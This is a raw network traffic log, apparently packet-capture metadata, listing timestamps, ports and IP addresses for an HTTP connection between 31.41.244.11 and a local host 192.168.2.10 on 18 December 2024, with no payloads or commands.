Dec 18, 2024 15:56:15.397298098 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.397355080 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.397977114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.398086071 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.398171902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.398216963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.398633003 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.398684978 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.398842096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.398889065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.399425030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.399478912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.399502039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.399588108 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.400185108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.400285006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.400341988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.400846004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.400908947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.400944948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.401011944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.401662111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.401714087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.401808023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.401858091 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.402399063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.402447939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.531392097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.531574965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.531614065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.531656981 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.531687975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.531738043 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.531840086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.531883955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.532274961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.532315016 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.532365084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.532408953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.532965899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.533011913 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.533037901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.533082008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.560035944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.560108900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.560129881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.560168982 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.560388088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.560432911 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.560600042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.560646057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.561150074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.561192036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.561363935 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.561410904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.561558962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.561609030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.562203884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.562253952 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.562429905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.562484026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.562887907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.562932014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.562962055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.563007116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.563565969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.563626051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.563672066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.563719034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.564299107 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.564356089 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.564373016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.564416885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.565006971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.565053940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.565135956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.565181017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.565758944 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.565809011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.565846920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.565886974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.566462994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.566513062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.566693068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.566735983 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.567183018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.567234993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.567281008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.567337036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.567929983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.567984104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.568020105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.568065882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.568629980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.568686008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.568748951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.568800926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.569364071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.569417953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.569477081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.569525957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.570105076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.570162058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.570265055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.570313931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.570821047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.570873022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.570936918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.570986986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.571629047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.571688890 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.571717024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.571765900 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.572298050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.572395086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.573000908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.573101044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.573822975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.573937893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.574471951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.574485064 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.574549913 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.574569941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.574599028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.575212002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.575261116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.575412989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.575459003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.576159954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.576208115 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.576267004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.576318026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.576832056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.576880932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.576899052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.576950073 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.577399969 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.577456951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.577490091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.577538013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.578103065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.578150034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.578212023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.578267097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.578830957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.578875065 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.578917980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.578965902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.579587936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.579644918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.579734087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.579780102 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.580290079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.580343008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.580399036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.580445051 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.581049919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.581110001 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.581242085 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.581288099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.581787109 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.581845045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.581860065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.581897020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.582545042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.582612038 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.582639933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.582686901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.583225012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.583285093 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.583326101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.583411932 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.584170103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.584220886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.584248066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.584296942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.584683895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.584737062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.584814072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.584862947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.585401058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.585448027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.585545063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.585592031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.586096048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.586141109 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.586224079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.586271048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.586935997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.586992979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.587025881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.587075949 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.587652922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.587707996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.587759018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.587804079 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.588346958 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.588396072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.588471889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.588511944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.589051008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.589096069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.589097977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.589133024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.589766026 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.589808941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.589844942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.589884996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.590514898 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.590563059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.590617895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.590658903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.591228008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.591317892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.591348886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.591392994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.591989040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.592037916 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.592154980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.592209101 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.592679024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.592746019 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.592762947 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.592811108 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.593414068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.593466997 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.593528032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.593575954 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.594147921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.594197989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.594264030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.594309092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.594846010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.594897032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.594954014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.595000029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.595603943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.595653057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.723896980 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.723995924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.724028111 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.724056005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.724198103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.724237919 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.724308014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.724359035 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.725024939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.725078106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.725193024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.725264072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.725748062 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.725797892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.752302885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.752371073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.752492905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.752492905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.752640963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.752660036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.752686024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.752697945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.753220081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.753263950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.753288984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.753329992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.753922939 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.753969908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.753998041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.754040956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.754345894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.754385948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.754426956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.754467010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.755040884 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.755091906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.755114079 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.755156994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.755815029 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.755865097 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.755873919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.755928040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.756525993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.756572962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.756582975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.756627083 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.757232904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.757266045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.757283926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.757302999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.757939100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.757987022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.758054972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.758095980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.758694887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.758740902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.758898973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.758943081 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.759433031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.759475946 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.759529114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.759586096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.760157108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.760211945 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.760222912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.760270119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.760859013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.760904074 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.761003971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.761050940 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.761620045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.761665106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.761807919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.761864901 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.762324095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.762370110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.762429953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.762474060 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.763063908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.763114929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.763184071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.763226986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.763799906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.763849974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.763938904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.763981104 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.764507055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.764555931 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.764583111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.764631987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.765230894 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.765276909 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.765331030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.765377045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.765995979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.766042948 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.766067982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.766110897 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.766681910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.766721010 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:15.766787052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:15.766830921 CET	49749	80	192.168.2.10	31.41.244.11
